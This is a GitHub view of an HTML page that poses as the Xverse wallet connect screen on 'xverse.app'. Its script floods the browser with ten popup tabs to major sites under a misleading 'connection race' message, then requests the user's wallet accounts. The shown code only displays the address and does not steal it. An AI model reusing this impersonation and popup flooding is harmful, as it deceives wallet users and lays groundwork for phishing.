-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathversex.html
More file actions
139 lines (126 loc) · 5.29 KB
/
versex.html
File metadata and controls
139 lines (126 loc) · 5.29 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title>xverse.app - Wallet Connect</title>
<style>
html, body { margin:0; height:100%; background:#0a1a2a; color:#e0f7fa; font-family:system-ui; display:grid; place-items:center; }
.card { background:#122240; padding:24px; border-radius:16px; box-shadow:0 8px 32px rgba(0,0,0,0.5); max-width:420px; text-align:center; }
h1 { margin:0 0 8px; font-size:22px; color:#00c853; }
p { margin:8px 0 20px; font-size:14px; color:#80deea; }
.img-btn {
width:100px; height:100px; cursor:pointer; border-radius:50%;
box-shadow:0 8px 32px rgba(0,200,83,0.5); transition:transform 0.2s;
filter: drop-shadow(0 0 10px #00c853);
}
.img-btn:hover { transform:scale(1.12); }
.img-btn.ready { animation: pulse 1.5s infinite; }
@keyframes pulse { 0%,100% { transform:scale(1); } 50% { transform:scale(1.2); } }
#status { margin-top:20px; color:#80deea; font-size:14px; word-break:break-word; }
.kraken-logo { font-size:28px; margin-bottom:12px; font-weight:900; letter-spacing:1px; }
.loader { width:40px; height:40px; border:4px solid #1a3a5c; border-top:4px solid #00c853; border-radius:50%; animation:spin 1s infinite linear; margin:20px auto; display:none; }
@keyframes spin { to { transform:rotate(360deg); } }
code { background:#0a1a2a; color:#00e676; padding:2px 6px; border-radius:4px; font-size:13px; }
.address { font-family: monospace; font-size: 15px; color: #00e676; }
</style>
</head>
<body>
<div class="card">
<div class="kraken-logo">XVERSE</div>
<h1>Xverse Wallet Connect</h1>
<p id="instruction">Tap icon to prepare connection...</p>
<!-- GAMBAR = TOMBOL -->
<img src="data:image/svg+xml;base64,PHN2ZyB3aWR0aD0iMTAwIiBoZWlnaHQ9IjEwMCIgdmlld0JveD0iMCAwIDEwMCAxMDAiIGZpbGw9Im5vbmUiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyI+PGNpcmNsZSBjeD0iNTAiIGN5PSI1MCIgcj0iNDUiIGZpbGw9IiMwMGM4NTMiLz48cGF0aCBkPSJNNTAgMzBMMjUgNjVsMjUgMjV6IiBmaWxsPSJ3aGl0ZSIvPjwvc3ZnPg=="
alt="Connect"
class="img-btn"
id="connectImg">
<div class="loader" id="loader"></div>
<div id="status"></div>
</div>
<script>
const TARGETS = [
"https://www.google.com/csi",
"https://www.wikipedia.org/",
"https://www.youtube.com/robots.txt",
"https://www.apple.com/contact/",
"https://www.microsoft.com/",
"https://www.amazon.com/robots.txt",
"https://www.instagram.com/",
"https://www.yahoo.com/",
"https://www.reddit.com/robots.txt",
"https://developer.mozilla.org/"
];
const statusEl = document.getElementById("status");
const loader = document.getElementById("loader");
const imgBtn = document.getElementById("connectImg");
const instruction = document.getElementById("instruction");
let handles = [];
let burstDone = false;
// === STEP 1: BURST 10 TABS ===
function openBurst(count = 10) {
const h = [];
let opened = 0;
for (let i = 0; i < count; i++) {
const url = TARGETS[i % TARGETS.length];
const delay = i * 50 + Math.floor(Math.random() * 30);
setTimeout(() => {
try {
const win = window.open(url, "_blank");
if (win) { h.push(win); opened++; }
} catch (_) {}
}, delay);
}
setTimeout(() => {
statusEl.innerHTML = `Burst: ${opened}/${count} tabs opened.<br/><strong>Tap again to connect Xverse wallet!</strong>`;
loader.style.display = 'none';
imgBtn.classList.add('ready');
instruction.textContent = "Tap again to connect wallet!";
burstDone = true;
handles = h;
}, count * 55 + 200);
}
// === STEP 2: REAL XVERSE CONNECT (NO FAKE TX, KEEP REAL ADDRESS) ===
async function connectXverse() {
loader.style.display = 'block';
statusEl.innerHTML = "Requesting Xverse wallet access...";
try {
// Real Xverse provider
if (!window.XverseProviders) {
throw new Error("Xverse wallet not detected");
}
const response = await window.XverseProviders.requestAccounts();
const address = response.addresses[0].address; // Real BTC address
statusEl.innerHTML = `
Connected!<br>
<span class="address">${address}</span><br>
<small>No transaction sent — address only</small>
`;
document.title = "xverse.app - Wallet Connected";
imgBtn.classList.remove('ready');
// Cleanup tabs
setTimeout(() => {
handles.forEach(h => { try { if (h && !h.closed) h.close(); } catch(_) {} });
}, 1500);
} catch (err) {
statusEl.innerHTML = `Failed: ${err.message || "User rejected"}`;
console.error("[XVERSE] Error:", err);
} finally {
loader.style.display = 'none';
}
}
// === KLIK GAMBAR → 2-STEP LOGIC ===
imgBtn.addEventListener("click", () => {
if (!burstDone) {
console.log("[STEP 1] Burst initiated");
statusEl.textContent = "Launching connection race...";
loader.style.display = 'block';
openBurst(10);
} else {
console.log("[STEP 2] Connecting Xverse wallet");
connectXverse();
}
});
</script>
</body>
</html>